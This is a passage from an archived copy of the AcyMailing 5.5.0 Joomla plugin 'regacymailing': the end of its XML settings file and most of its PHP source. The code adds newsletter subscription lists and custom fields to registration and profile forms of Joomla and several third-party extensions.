				<field name="help" type="help" label="Help" description="Click on the help button to get some help" default="plugin-regacymailing"/>
				<field name="lists" type="lists" default="None" label="Lists displayed on registration form" description="The following selected lists will be added to your Joomla registration form and will be visible." />
				<field name="listschecked" type="lists" default="All" label="Lists checked by default" description="The selected lists will be checked by default on your registration form." />
				<field name="subscribetext" type="text" size="50" default="" label="Subscribe Caption" description="Text displayed for the subscription field. If you don't specify anything, the default value will be used from the current language file" />
				<field name="displaymode" type="list" default="dispall" label="Display mode" description="Select the way you want AcyMailing to display your lists">
					<option value="dispall">Display one checkbox per list</option>
					<option value="onecheck">Group the lists into one checkbox</option>
					<option value="dropdown">Display the lists in a dropdown</option>
				</field>
				<field name="fieldafter" type="radio" default="password" label="Display the lists after" description="AcyMailing will display the lists after the selected field on your registration form">
					<option value="password">Password</option>
					<option value="email">Email</option>
					<option value="custom">Custom</option>
				</field>
				<field name="fieldaftercustom" default="" type="text" size="10" label="Display the lists after (custom)" description="If your registration page contains other fields, you can specify the name of other fields (separated with a ;) to display the lists after these custom fields (The previous option should be set to 'custom')" />
				<field name="@spacer" type="spacer" default="" label="" description="" />
				<field name="customfieldsafter" type="radio" default="email" label="Display the fields after" description="AcyMailing will display the extra fields after the selected field on your registration form">
					<option value="password">Password</option>
					<option value="email">Email</option>
					<option value="custom">Custom</option>
				</field>
				<field name="customfieldsaftercustom" default="" type="text" size="10" label="Display the fields after (custom)" description="If your registration page contains other fields, you can specify the name of other fields (separated with a ;) to display the lists after these custom fields (The previous option should be set to 'custom')" />
				<field name="@spacer" type="spacer" default="" label="" description="" />
				<field name="sendnotif" type="radio" default="0" label="Send notification" description="When an user is created, send the Acy notification message">
					<option value="0">JOOMEXT_NO</option>
					<option value="1">JOOMEXT_YES</option>
				</field>
				<field name="forceconf" type="radio" default="0" label="Force double opt-in" description="The registration process may already have its confirmation e-mail... Do you want Acy to send its own confirmation e-mail (so in addition to the Joomla one)?">
					<option value="0">JOOMEXT_NO</option>
					<option value="1">JOOMEXT_YES</option>
				</field>
				<field name="@spacer" type="spacer" default="" label="" description="" />
				<field name="customcss" cols="40" rows="5" type="textarea" default="" label="Custom CSS" description="You can specify here some CSS which will be added to the registration page" />
                <field name="deletebehavior" type="radio" default="0" label="User deletion behavior" description="Choose if the AcyMailing user should also be deleted when the Joomla account is deleted">
                    <option value="0">Delete AcyMailing user</option>
                    <option value="1">Keep AcyMailing user</option>
                </field>
                <field label="Excluded components" name="excluded" type="checkboxes" description="Acy won't display the subscription lists on the components you exclude with this option">
                    <option value="com_user">com_user</option>
                    <option value="com_users">com_users</option>
                    <option value="com_alpharegistration">com_alpharegistration</option>
                    <option value="com_ccusers">com_ccusers</option>
                    <option value="com_community">com_community</option>
                    <option value="com_extendedreg">com_extendedreg</option>
                    <option value="com_gcontact">com_gcontact</option>
                    <option value="com_hikashop">com_hikashop</option>
                    <option value="com_jblance">com_jblance</option>
                    <option value="com_jshopping">com_jshopping</option>
                    <option value="com_juser">com_juser</option>
                    <option value="com_mijoshop">com_mijoshop</option>
                    <option value="com_osemsc">com_osemsc</option>
                    <option value="com_redshop">com_redshop</option>
                    <option value="com_tienda">com_tienda</option>
                    <option value="com_virtuemart">com_virtuemart</option>
                </field>
				<field name="addcategory" type="radio" default="0" label="Display category name" description="Order the lists by category and display their category name above them.">
					<option value="0">JOOMEXT_NO</option>
					<option value="1">JOOMEXT_YES</option>
				</field>
			</fieldset>
		</fields>
	</config>
</extension>
PK!�EaQ�Q�regacymailing/regacymailing.phpnu&1i�<?php
/**
 * @package	AcyMailing for Joomla!
 * @version	5.5.0
 * @author	acyba.com
 * @copyright	(C) 2009-2016 ACYBA S.A.R.L. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */
defined('_JEXEC') or die('Restricted access');
?><?php

class plgSystemRegacymailing extends JPlugin{
	var $option = '';
	var $view = '';

	function __construct(&$subject, $config){
		parent::__construct($subject, $config);
		if(!isset($this->params)){
			$plugin = JPluginHelper::getPlugin('system', 'regacymailing');
			$this->params = new JParameter($plugin->params);
		}
	}

	function onAfterRoute(){
		if(!empty($_POST['option']) && $_POST['option'] == 'com_virtuemart' && !empty($_POST['func']) && $_POST['func'] == 'shopperupdate'){
			$this->_updateVM();
		}

		if(!empty($_REQUEST['option']) && $_REQUEST['option'] == 'com_community' && !empty($_REQUEST['task']) && ($_REQUEST['task'] == 'register_save' || $_REQUEST['task'] == 'save')){
			$this->_saveInSession();
		}

		if(!empty($_REQUEST['option']) && $_REQUEST['option'] == 'com_jblance' && !empty($_REQUEST['layout']) && in_array($_REQUEST['layout'], array('showfront', 'planadd'))){
			$this->_saveInSession();
		}

		if(!empty($_REQUEST['option']) && in_array($_REQUEST['option'], array('com_user', 'com_users')) && !empty($_REQUEST['view']) && in_array($_REQUEST['view'], array('register', 'registration', 'profile', 'user'))){
			require_once(JPATH_ADMINISTRATOR.DIRECTORY_SEPARATOR.'components'.DIRECTORY_SEPARATOR.'com_acymailing'.DIRECTORY_SEPARATOR.'helpers'.DIRECTORY_SEPARATOR.'helper.php');
			$fieldsClass = acymailing_get('class.fields');
			$fieldsClass->origin = 'joomla';
			$user = new stdClass();
			$app = JFactory::getApplication();

			$taskVar = ACYMAILING_J16 ? 'layout' : 'task';

			if($app->isAdmin()){
				if($_REQUEST['view'] == 'user' && !empty($_REQUEST[$taskVar]) && $_REQUEST[$taskVar] == 'edit'){
					$extraFields = $fieldsClass->getFields('joomlaprofile', $user);
				}
			}else{
				if(in_array($_REQUEST['view'], array('register', 'registration'))){
					$extraFields = $fieldsClass->getFields('frontjoomlaregistration', $user);
				}elseif(in_array($_REQUEST['view'], array('user', 'profile')) && (!empty($_REQUEST[$taskVar]) && $_REQUEST[$taskVar] == 'edit')){
					$extraFields = $fieldsClass->getFields('frontjoomlaprofile', $user);
				}
			}

			if(!empty($extraFields)){
				foreach($extraFields as $oneField){
					if($oneField->type != 'date') continue;
					JHTML::_('behavior.calendar');
					break;
				}
			}
		}
	}

	private function _saveInSession(){
		$acysub = JRequest::getVar('acysub', array(), '', 'array');
		$session = JFactory::getSession();
		if(!empty($acysub)){
			$session->set('acysub', $acysub);
		}

		$acysubhidden = JRequest::getString('acysubhidden');
		if(!empty($acysubhidden)){
			$session->set('acysubhidden', $acysubhidden);
		}

		$regacy = JRequest::getVar('regacy', array(), '', 'array');
		if(!empty($regacy)){
			$session->set('regacy', $regacy);
		}
	}

	private function _updateVM(){
		$user = JFactory::getUser();
		if(empty($user->id)) return;

		$acylistsdisplayed = JRequest::getString('acylistsdisplayed_dispall').','.JRequest::getString('acylistsdisplayed_onecheck');
		if(strlen($acylistsdisplayed) < 2) return;
		$listsDisplayed = explode(',', $acylistsdisplayed);
		JArrayHelper::toInteger($listsDisplayed);
		if(empty($listsDisplayed)) return;

		if(!include_once(rtrim(JPATH_ADMINISTRATOR, DIRECTORY_SEPARATOR).DIRECTORY_SEPARATOR.'components'.DIRECTORY_SEPARATOR.'com_acymailing'.DIRECTORY_SEPARATOR.'helpers'.DIRECTORY_SEPARATOR.'helper.php')) return;

		$userClass = acymailing_get('class.subscriber');

		$subid = $userClass->subid($user->id);
		if(empty($subid)) return; //The user should already be there

		$visiblelistschecked = JRequest::getVar('acysub', array(), '', 'array');
		$acySubHidden = JRequest::getString('acysubhidden');
		if(!empty($acySubHidden)){
			$visiblelistschecked = array_merge($visiblelistschecked, explode(',', $acySubHidden));
		}

		$listsClass = acymailing_get('class.list');
		$allLists = $listsClass->getLists('listid');
		if(acymailing_level(1)){
			$allLists = $listsClass->onlyCurrentLanguage($allLists);
		}

		$formLists = array();
		foreach($listsDisplayed as $listidDisplayed){
			$newlists = array();
			$newlists['status'] = in_array($listidDisplayed, $visiblelistschecked) ? '1' : '-1';
			$formLists[$listidDisplayed] = $newlists;
		}

		$userClass->saveSubscription($subid, $formLists);
	}

	function _getVmVersion(){
		$file = ACYMAILING_ROOT.'administrator'.DS.'components'.DS.'com_virtuemart'.DS.'version.php';
		if(!file_exists($file)) return '0.0.0';
		include_once($file);
		$vmversion = new vmVersion();
		if(empty($vmversion->RELEASE)){
			return vmVersion::$RELEASE;
		}else{
			return $vmversion->RELEASE;
		}
	}

	function onAfterRender(){
		$helperFile = rtrim(JPATH_ADMINISTRATOR, DIRECTORY_SEPARATOR).DIRECTORY_SEPARATOR.'components'.DIRECTORY_SEPARATOR.'com_acymailing'.DIRECTORY_SEPARATOR.'helpers'.DIRECTORY_SEPARATOR.'helper.php';
		if(!file_exists($helperFile) || !include_once($helperFile)) return;

		$option = JRequest::getCmd('option', '', 'GET');
		if(empty($option)) $option = JRequest::getCmd('option');

		if(empty($option)) return;
		$this->option = $option;

		$this->components = array();
		$this->components['com_user'] = array('view' => array('register', 'user'), 'edittasks' => array('profile', 'user'), 'lengthafter' => 200, 'email' => array('email2', 'email'), 'password' => array('password2', 'password'), 'displayBackend' => true, 'displayLoggedin' => true);
		$jversion = preg_replace('#[^0-9\.]#i', '', JVERSION);
		if(version_compare($jversion, '1.6.0', '>=')){
			$this->components['com_users'] = array('view' => array('registration', 'profile', 'user'), 'edittasks' => array('profile', 'user'), 'lengthafter' => 200, 'email' => array('jform[email2]', 'jform[email]'), 'password' => 'jform[password2]', 'displayBackend' => true, 'displayLoggedin' => true, 'checkLayout' => array('profile' => 'edit'));
		}else{
			$this->components['com_users'] = array('view' => array('registration', 'profile', 'user'), 'edittasks' => array('profile', 'user'), 'lengthafter' => 200, 'email' => array('email2', 'email'), 'password' => 'password2', 'displayBackend' => true, 'displayLoggedin' => true, 'tdfieldlabelclass' => 'key', 'tdclassfield' => 'key');
		}

		$this->components['com_alpharegistration'] = array('view' => array('register'), 'lengthafter' => 250);
		$this->components['com_ccusers'] = array('view' => array('register'), 'lengthafter' => 500);
		$this->components['com_community'] = array('view' => array('register', 'profile'), 'edittasks' => array('profile'), 'lengthafter' => 500, 'password' => 'jspassword2', 'email' => 'jsemail', 'displayLoggedin' => true, 'fieldclass' => 'form-field', 'labelclass' => 'form-label', 'tdclassfield' => 'paramlist_key', 'tdclassvalue' => 'paramlist_value');
		$this->components['com_extendedreg'] = array('view' => array('register'), 'lengthafter' => 200, 'password' => 'verify-password', 'email' => 'email');
		$this->components['com_gcontact'] = array('view' => array('registration'), 'lengthafter' => 200);
		$this->components['com_hikashop'] = array('view' => array('checkout', 'user'), 'viewvar' => 'ctrl', 'lengthafter' => 500, 'tdclassfield' => 'key', 'email' => 'data[register][email]', 'password' => 'data[register][password2]');
		$this->components['com_jblance'] = array('view' => array('guest'), 'layout' => array('register'), 'lengthaftermin' => 250, 'lengthafter' => 300, 'email' => 'email', 'password' => 'password2');
		$this->components['com_jshopping'] = array('view' => array('register', 'checkout'), 'viewvar' => array('task', 'controller'), 'lengthafter' => 200, 'email' => 'email', 'password' => 'password_2', 'displayLoggedin' => true);
		$this->components['com_juser'] = array('view' => array('user'), 'lengthafter' => 200);
		$this->components['com_mijoshop'] = array('viewvar' => array('route', 'view'), 'view' => array('registration', 'account/register', 'account/edit', 'account/registration'), 'edittasks' => array('account/edit', 'account/registration'), 'displayLoggedin' => true, 'lengthafter' => 500, 'email' => 'email', 'password' => array('confirm', 'password'));
		$this->components['com_osemsc'] = array('view' => array('register'), 'lengthafter' => 200, 'email' => 'oseemail', 'password' => 'osepassword2');
		$this->components['com_redshop'] = array('view' => array('registration'), 'lengthafter' => 200, 'password' => 'password2', 'email' => 'email1');
		$this->components['com_tienda'] = array('view' => array('checkout'), 'lengthafter' => 500, 'email' => 'email_address', 'password' => 'password2');
		$vmViews = array('shop.registration', 'account.billing', 'checkout.index', 'user', 'cart', 'editaddresscart', 'editaddresscheckout');
		if(version_compare($this->_getVmVersion(), '3.0.10', '>=')) $vmViews[] = 'askquestion';
		$this->components['com_virtuemart'] = array('view' => $vmViews, 'displayLoggedin' => true, 'viewvar' => 'page', 'lengthafter' => 500, 'acysubscribestyle' => 'style="clear:both"');

		if($option == 'com_rsform'){
			$formId = JRequest::getCmd('formId', '', 'GET');
			if(empty($formId)) $formId = JRequest::getCmd('formId');
			$db = JFactory::getDBO();
			if(!empty($formId) && in_array($db->getPrefix().'rsform_registration', $db->getTableList())){
				$db->setQuery('SELECT * FROM #__rsform_registration WHERE form_id = '.intval($formId).' AND published = 1');
				$registration = $db->loadObject();
				if(!empty($registration)){
					$regVar = empty($registration->reg_merge_vars) ? 'vars' : 'reg_merge_vars';
					$registrationVars = unserialize($registration->$regVar);
					$this->components['com_rsform'] = array('view' => array('rsform'), 'lengthafter' => 220, 'lengthaftermin' => 190, 'password' => array('form['.$registrationVars['password2'].']', 'form['.$registrationVars['password1'].']'), 'email' => array('form['.$registrationVars['email2'].']', 'form['.$registrationVars['email1'].']'));
				}
			}
		}

		$excludedComponents = $this->params->get('excluded');
		if(!empty($excludedComponents)){
			if(!ACYMAILING_J16) $excludedComponents = explode(',', $excludedComponents);
			foreach($excludedComponents as $oneComponent){
				unset($this->components[$oneComponent]);
			}
		}

		if(!isset($this->components[$option])) return;
		$viewVar = (isset($this->components[$option]['viewvar']) ? $this->components[$option]['viewvar'] : 'view');
		if(!is_array($viewVar)){
			if(!in_array(JRequest::getString($viewVar, JRequest::getString('task', JRequest::getString('view'))), $this->components[$option]['view'])) return;
			$this->view = JRequest::getString($viewVar, JRequest::getString('task', JRequest::getString('view')));
		}else{
			$isvalid = false;
			foreach($viewVar as $oneVar){
				if(in_array(JRequest::getString($oneVar, JRequest::getString('task', JRequest::getString('view'))), $this->components[$option]['view'])){
					$isvalid = true;
					$this->view = JRequest::getString($oneVar, JRequest::getString('task', JRequest::getString('view')));
					break;
				}
			}
			if(!$isvalid) return;
		}

		if(isset($this->components[$option]['layout']) && !in_array(JRequest::getString('layout'), $this->components[$option]['layout'])) return;

		if(empty($this->components[$option]['displayBackend'])){
			$app = JFactory::getApplication();
			if($app->isAdmin()) return;
		}
		if(empty($this->components[$option]['displayLoggedin'])){
			$user = JFactory::getUser();
			if(!empty($user->id)) return;
		}


		if($option == 'com_community' && in_array(JRequest::getString('task'), array('registerAvatar', 'registerProfile'))) return;

		$this->_addFields();
		$this->_addLists();
		$this->_addCSS();
	}

	private function _addFields(){
		if(!acymailing_level(3)) return;

		$option = $this->option;

		if(empty($this->components[$option]['lengthaftermin'])) $this->components[$option]['lengthaftermin'] = 0;

		$app = JFactory::getApplication();
		if($app->isAdmin()){
			$area = 'joomlaprofile';
		}elseif(!empty($this->components[$option]['edittasks']) && in_array($this->view, $this->components[$option]['edittasks'])){
			$area = 'frontjoomlaprofile';
		}else{
			$area = 'frontjoomlaregistration';
		}

		$fieldsClass = acymailing_get('class.fields');
		$fieldsClass->origin = 'joomla';
		$user = new stdClass();
		$extraFields = $fieldsClass->getFields($area, $user);

		$newOrdering = array();
		foreach($extraFields as $fieldnamekey => $oneField){
			if(in_array($oneField->namekey, array('name', 'email'))) continue;
			$newOrdering[] = $fieldnamekey;
		}

		if(empty($newOrdering)) return;

		$body = JResponse::getBody();

		$severalValueTest = false;
		if($this->params->get('customfieldsafter', 'email') == "custom"){
			$customFieldAfter = explode(';', str_replace(array('\\[', '\\]'), array('[', ']'), $this->params->get('customfieldsaftercustom')));
			$after = !empty($customFieldAfter) ? $customFieldAfter : $this->components[$option]['email'];
		}elseif(!empty($this->components[$option][$this->params->get('customfieldsafter', 'email')])){
			$after = $this->components[$option][$this->params->get('customfieldsafter', 'email')];
		}else{
			$after = ($this->params->get('customfieldsafter', 'email') == 'email') ? 'email' : 'password2';
		}
		if(is_array($after)){
			$severalValueTest = true;
			$allAfters = $after;
			$after = $after[0];
		}

		$allFormats = array();
		$allFormats['tr'] = array('tagfield' => 'tr', 'tagfieldname' => 'td', 'tagfieldvalue' => 'td');
		$allFormats['li'] = array('tagfield' => 'li', 'tagfieldname' => '', 'tagfieldvalue' => 'div');
		$allFormats['div'] = array('tagfield' => 'div', 'tagfieldname' => '', 'tagfieldvalue' => '');
		$allFormats['p'] = array('tagfield' => 'p', 'tagfieldname' => '', 'tagfieldvalue' => '');
		$allFormats['dd'] = array('tagfield' => '', 'tagfieldname' => 'dt', 'tagfieldvalue' => 'dd');

		$currentFormat = '';
		foreach($allFormats as $oneFormat => $values){
			if(preg_match('#(name="'.preg_quote($after).'".{'.$this->components[$option]['lengthaftermin'].','.$this->components[$option]['lengthafter'].'}</'.$oneFormat.'>)#Uis', $body)){
				$currentFormat = $oneFormat;
				break;
			}
		}

		if(empty($currentFormat) && $severalValueTest){
			$i = 1;
			while(empty($currentFormat) && $i < count($allAfters)){
				foreach($allFormats as $oneFormat => $values){
					if(preg_match('#(name="'.preg_quote($allAfters[$i]).'".{'.$this->components[$option]['lengthaftermin'].','.$this->components[$option]['lengthafter'].'}</'.$oneFormat.'>)#Uis', $body)){
						$after = $allAfters[$i];
						$currentFormat = $oneFormat;
						break;
					}
				}
				$i++;
			}
		}

		if(empty($currentFormat)){
			if(JDEBUG){
				echo 'regAcyMailing plugin, could not find the right format to display the fields...';
			}
			return false;
		}

		$text = '';
		if(!empty($this->components[$option]['labelclass'])){
			$fieldsClass->labelClass = $this->components[$option]['labelclass'];
		}

		if($app->isAdmin()){
			$jversion = preg_replace('#[^0-9\.]#i', '', JVERSION);
			if(version_compare($jversion, '1.6.0', '>=')){
				$currentUserId = JRequest::getint('id', 0);
			}else{
				$currentUserIdArray = JRequest::getVar('cid', array());
				if(is_array($currentUserIdArray) && !empty($currentUserIdArray)){
					$currentUserId = array_shift($currentUserIdArray);
				}else $currentUserId = 0;
			}
		}else{
			$user = JFactory::getUser();
			$currentUserId = $user->id;
		}

		if(!empty($this->components[$option]['edittasks']) && in_array($this->view, $this->components[$option]['edittasks']) && $currentUserId != 0){
			$userClass = acymailing_get('class.subscriber');
			$acyUserData = $userClass->get($userClass->subid($currentUserId));
			if(!empty($acyUserData->email)) $fieldsClass->currentUser = $acyUserData;
		}

		foreach($newOrdering as $fieldName){
			if(!empty($allFormats[$currentFormat]['tagfield'])) $text .= '<'.$allFormats[$currentFormat]['tagfield'].' id="acy'.$fieldName.'" class="acyregfield">';
			if(!empty($allFormats[$currentFormat]['tagfieldname'])) $text .= '<'.$allFormats[$currentFormat]['tagfieldname'].' class="key acyregfieldname'.(!empty($this->components[$option]['tdfieldlabelclass']) ? ' '.$this->components[$option]['tdfieldlabelclass'] : '').'">';
			$text .= $fieldsClass->getFieldName($extraFields[$fieldName]);
			if(!empty($allFormats[$currentFormat]['tagfieldname'])) $text .= '</'.$allFormats[$currentFormat]['tagfieldname'].'>';
			if(!empty($allFormats[$currentFormat]['tagfieldvalue'])) $text .= '<'.$allFormats[$currentFormat]['tagfieldvalue'].' class="acyregfieldvalue'.(empty($this->components[$option]['fieldclass']) ? '' : ' '.$this->components[$option]['fieldclass']).'" >';
			$fieldValue = (!empty($acyUserData->$fieldName) ? $acyUserData->$fieldName : $extraFields[$fieldName]->default);
			$text .= $fieldsClass->display($extraFields[$fieldName], $fieldValue, 'regacy['.$fieldName.']');
			if(!empty($allFormats[$currentFormat]['tagfieldvalue'])) $text .= '</'.$allFormats[$currentFormat]['tagfieldvalue'].'>';
			if(!empty($allFormats[$currentFormat]['tagfield'])) $text .= '</'.$allFormats[$currentFormat]['tagfield'].'>';
		}

		$doc = JFactory::getDocument();
		if($app->isAdmin()){
			if(ACYMAILING_J25){
				$formid = 'user-form';
			}else $formid = 'adminForm';
		}elseif(empty($user->id)){
			if(ACYMAILING_J25){
				$formid = 'member-registration';
			}else $formid = 'josForm';
		}else{
			if(ACYMAILING_J25){
				$formid = 'member-profile';
			}else $formid = 'userform';
		}

		$js = $fieldsClass->prepareConditionalDisplay($extraFields, 'regacy', 'joomlaProfile', $formid);
		$js .= $this->_getAdditionalJs($extraFields);
		$body = str_replace('</head>', '<script type="text/javascript">'.$js.'</script></head>', $body);

		$body = preg_replace('#(name="'.preg_quote($after).'".{'.$this->components[$option]['lengthaftermin'].','.$this->components[$option]['lengthafter'].'}</'.$currentFormat.'>)#Uis', '$1'.$text, $body, 1);
		JResponse::setBody($body);
		return;
	}

	private function _getAdditionalJs($fields){
		$js = '';
		foreach($fields as $oneField){
			if($oneField->type == 'date'){
				if(ACYMAILING_J30){
					$js .= 'jQuery(document).ready(function($) {Calendar.setup({';
				}else{
					$js .= 'window.addEvent(\'domready\', function() {Calendar.setup({';
				}
				if(empty($oneField->options['format'])) $oneField->options['format'] = "%Y-%m-%d";
				$js .= 'inputField: "field_'.$oneField->namekey.'",
						ifFormat: "'.$oneField->options['format'].'",
						button: "field_'.$oneField->namekey.'_img",
						align: "Tl",
						singleClick: true,
						firstDay: 0
					});});';
			}
		}
		return $js;
	}

	private function _addLists(){
		$app = JFactory::getApplication();
		$option = $this->option;

		$visibleLists = $this->params->get('lists', 'None');
		if($visibleLists == 'None') return;

		$visibleListsArray = array();
		$listsClass = acymailing_get('class.list');
		$allLists = $listsClass->getLists('listid');
		if(acymailing_level(1)){
			$allLists = $listsClass->onlyCurrentLanguage($allLists);
		}

		$isAdmin = $app->isAdmin();
		if(strpos($visibleLists, ',') OR is_numeric($visibleLists)){
			$allvisiblelists = explode(',', $visibleLists);
			foreach($allLists as $oneList){
				if($oneList->published && ($oneList->visible || $isAdmin) && in_array($oneList->listid, $allvisiblelists)) $visibleListsArray[] = $oneList->listid;
			}
		}elseif(strtolower($visibleLists) == 'all'){
			foreach($allLists as $oneList){
				if($oneList->published && ($oneList->visible || $isAdmin)){
					$visibleListsArray[] = $oneList->listid;
				}
			}
		}

		if(empty($visibleListsArray)) return;

		$checkedLists = $this->params->get('listschecked', 'All');
		$userClass = acymailing_get('class.subscriber');

		if($app->isAdmin()){
			$jversion = preg_replace('#[^0-9\.]#i', '', JVERSION);
			if(version_compare($jversion, '1.6.0', '>=')){
				$currentUserId = JRequest::getint('id', 0);
			}else{
				$currentUserIdArray = JRequest::getVar('cid', array());
				if(is_array($currentUserIdArray) && !empty($currentUserIdArray)) $currentUserId = array_shift($currentUserIdArray);
			}
		}else{
			$loggedinUser = JFactory::getUser();
			if(!empty($loggedinUser->id)){
				$currentUserId = $loggedinUser->id;
			}
		}

		if(!empty($currentUserId)){
			$currentSubid = $userClass->subid($currentUserId);
			if(!empty($currentSubid)){
				$currentSubscription = $userClass->getSubscriptionStatus($currentSubid, $visibleListsArray);
				$checkedLists = '';
				foreach($currentSubscription as $listid => $oneSubsciption){
					if($oneSubsciption->status == '1' || $oneSubsciption->status == '2') $checkedLists .= $listid.',';
				}
			}
		}

		if(strtolower($checkedLists) == 'all'){
			$checkedListsArray = $visibleListsArray;
		}elseif(strpos($checkedLists, ',') OR is_numeric($checkedLists)){
			$checkedListsArray = explode(',', $checkedLists);
		}else{
			$checkedListsArray = array();
		}

		$subText = $this->params->get('subscribetext');
		if(empty($subText)){
			if(in_array($this->params->get('displaymode', 'dispall'), array('dispall', 'dropdown'))){
				$subText = JText::_('SUBSCRIPTION').':';
			}else{
				$subText = JText::_('YES_SUBSCRIBE_ME');
			}
		}else{
			$subText = JText::_($subText);
		}

		$body = JResponse::getBody();

		$severalValueTest = false;
		if($this->params->get('fieldafter', 'password') == 'custom'){
			$listAfter = explode(';', str_replace(array('\\[', '\\]'), array('[', ']'), $this->params->get('fieldaftercustom')));
			$after = !empty($listAfter) ? $listAfter : $this->components[$option]['password'];
		}elseif(!empty($this->components[$option][$this->params->get('fieldafter', 'password')])){
			$after = $this->components[$option][$this->params->get('fieldafter', 'password')];
		}else{
			$after = ($this->params->get('fieldafter', 'password') == 'email') ? 'email' : 'password2';
		}
		if(is_array($after)){
			$severalValueTest = true;
			$allAfters = $after;
			$after = $after[0];
		}

		$listsDisplayed = '<input type="hidden" value="'.implode(',', $visibleListsArray).'" name="acylistsdisplayed_'.$this->params->get('displaymode', 'dispall').'" />';
		$return = '';
		if($this->params->get('displaymode', 'dispall') == 'dispall'){
			$return = '<table class="acy_lists" style="border:0px">';

			$displayCategories = $this->params->get('addcategory', '0');
			if($displayCategories){
				$listsByCategory = array();
				foreach($allLists as $id => $oneList){
					if(in_array($id,$visibleListsArray)) $listsByCategory[$oneList->category][] = $id;
				}
				ksort($listsByCategory);

				$visibleListsArray = array();
				foreach($listsByCategory as $oneCat => $itsLists){
					$visibleListsArray = array_merge($visibleListsArray, $itsLists);
				}
			}
			$currentCategory = '';
			foreach($visibleListsArray as $oneList){
				if(!empty($displayCategories) && !empty($allLists[$oneList]->category) && $currentCategory != $allLists[$oneList]->category){
					$return .= '<tr style="border:0px"><td style="border:0px" nowrap="nowrap" colspan="2"><div class="acylistcategory'.htmlspecialchars($allLists[$oneList]->category, ENT_QUOTES, 'UTF-8').'">'.htmlspecialchars($allLists[$oneList]->category, ENT_QUOTES, 'UTF-8').'</div></td></tr>';
					$currentCategory = $allLists[$oneList]->category;
				}
				$check = in_array($oneList, $checkedListsArray) ? 'checked="checked"' : '';
				$return .= '<tr style="border:0px"><td style="border:0px"><input type="checkbox" id="acy_list_'.$oneList.'" class="acymailing_checkbox" name="acysub[]" '.$check.' value="'.$oneList.'"/></td><td style="border:0px;padding-left:10px;" nowrap="nowrap"><label for="acy_list_'.$oneList.'" class="acylabellist">';
				$return .= $allLists[$oneList]->name;
				$return .= '</label></td></tr>';
			}
			$return .= '</table>';
		}elseif($this->params->get('displaymode', 'dispall') == 'onecheck'){
			$check = '';
			foreach($visibleListsArray as $oneList){
				if(in_array($oneList, $checkedListsArray)){
					$check = 'checked="checked"';
					break;
				};
			}
			$return = '<span class="acysubscribe_span"><input type="checkbox" id="acysubhidden" name="acysubhidden" value="'.implode(',', $visibleListsArray).'" '.$check.' /><label for="acysubhidden">'.$subText.'</label>'.$listsDisplayed.'</span>';
		}elseif($this->params->get('displaymode', 'dispall') == 'dropdown'){
			$return = '<select name="acysub[1]">';
			foreach($visibleListsArray as $oneList){
				$return .= '<option value="'.$oneList.'">'.$allLists[$oneList]->name.'</option>';
			}
			$return .= '</select>';
		}

		$return .= '<input type="hidden" name="allVisibleLists" value="'.implode(',', $visibleListsArray).'" />';

		$resInsertLists = $this->addListsReplace($after, $body, $subText, $listsDisplayed, $return);
		if(!$resInsertLists && $severalValueTest){
			$i = 1;
			while(!$resInsertLists && $i < count($allAfters)){
				$resInsertLists = $this->addListsReplace($allAfters[$i], $body, $subText, $listsDisplayed, $return);
				$i++;
			}
		}
	}

	private function addListsReplace($after, $body, $subText, $listsDisplayed, $return){
		$option = $this->option;

		if(empty($this->components[$option]['lengthaftermin'])) $this->components[$option]['lengthaftermin'] = 0;
		if(empty($this->components[$option]['acysubscribestyle'])) $this->components[$option]['acysubscribestyle'] = '';
		if(preg_match('#(name *= *"'.preg_quote($after).'".{'.$this->components[$option]['lengthaftermin'].','.$this->components[$option]['lengthafter'].'}</tr>)#Uis', $body)){
			$tdclassfield = '';
			$tdclassvalue = '';
			if(!empty($this->components[$option]['tdclassfield'])) $tdclassfield = 'class="'.$this->components[$option]['tdclassfield'].'"';
			if(!empty($this->components[$option]['tdclassvalue'])) $tdclassvalue = 'class="'.$this->components[$option]['tdclassvalue'].'"';

			if(in_array($this->params->get('displaymode', 'dispall'), array('dispall', 'dropdown'))){
				$return = '<tr class="acysubscribe"><td '.$tdclassfield.' style="padding-top:5px" valign="top">'.$subText.$listsDisplayed.'</td><td '.$tdclassvalue.'>'.$return.'</td></tr>';
			}else{
				$return = '<tr class="acysubscribe"><td colspan="2">'.$return.'</td></tr>';
			}
			$body = preg_replace('#(name *= *"'.preg_quote($after).'".{'.$this->components[$option]['lengthaftermin'].','.$this->components[$option]['lengthafter'].'}</tr>)#Uis', '$1'.$return, $body, 1);
			JResponse::setBody($body);
			return true;
		}

		$formats = array('li' => array('li', 'li'), 'div' => array('div', 'div'), 'p' => array('div', 'div'), 'dd' => array('dt', 'div'));
		foreach($formats as $oneFormat => $dispall){
			if(preg_match('#(name *= *"'.preg_quote($after).'".{'.$this->components[$option]['lengthaftermin'].','.$this->components[$option]['lengthafter'].'}</'.$oneFormat.'>)#Uis', $body)){
				if(in_array($this->params->get('displaymode', 'dispall'), array('dispall', 'dropdown'))){
					if($oneFormat == 'dd'){
						$return = '<dt class="acysubscribe"><label class="labelacysubscribe">'.$subText.$listsDisplayed.'</label></dt><dd>'.$return.'</dd>';
					}else{
						$return = '<'.$dispall[0].' class="acysubscribe"><label class="labelacysubscribe">'.$subText.$listsDisplayed.'</label>'.$return.'</'.$dispall[0].'>';
					}
				}else{
					$return = '<'.$dispall[1].' class="acysubscribe" '.$this->components[$option]['acysubscribestyle'].' >'.$return.'</'.$dispall[1].'>';
				}
				$body = preg_replace('#(name *= *"'.preg_quote($after).'".{'.$this->components[$option]['lengthaftermin'].','.$this->components[$option]['lengthafter'].'}</'.$oneFormat.'>)#Uis', '$1'.$return, $body, 1);
				JResponse::setBody($body);
				return true;
			}
		}

		foreach($formats as $oneFormat => $dispall){
			if(preg_match('#(name *= *"'.preg_quote($after).'"((?!</'.$oneFormat.'>).)*</'.$oneFormat.'>)#Uis', $body)){
				if(in_array($this->params->get('displaymode', 'dispall'), array('dispall', 'dropdown'))){
					if($oneFormat == 'dd'){
						$return = '<dt class="acysubscribe"><label class="labelacysubscribe">'.$subText.$listsDisplayed.'</label></dt><dd>'.$return.'</dd>';
					}else{
						$return = '<'.$dispall[0].' class="acysubscribe"><label class="labelacysubscribe">'.$subText.$listsDisplayed.'</label>'.$return.'</'.$dispall[0].'>';
					}
				}else{
					$return = '<'.$dispall[1].' class="acysubscribe" '.$this->components[$option]['acysubscribestyle'].' >'.$return.'</'.$dispall[1].'>';
				}
				$body = preg_replace('#(name *= *"'.preg_quote($after).'"((?!</'.$oneFormat.'>).)*</'.$oneFormat.'>)#Uis', '$1'.$return, $body, 1);
				JResponse::setBody($body);
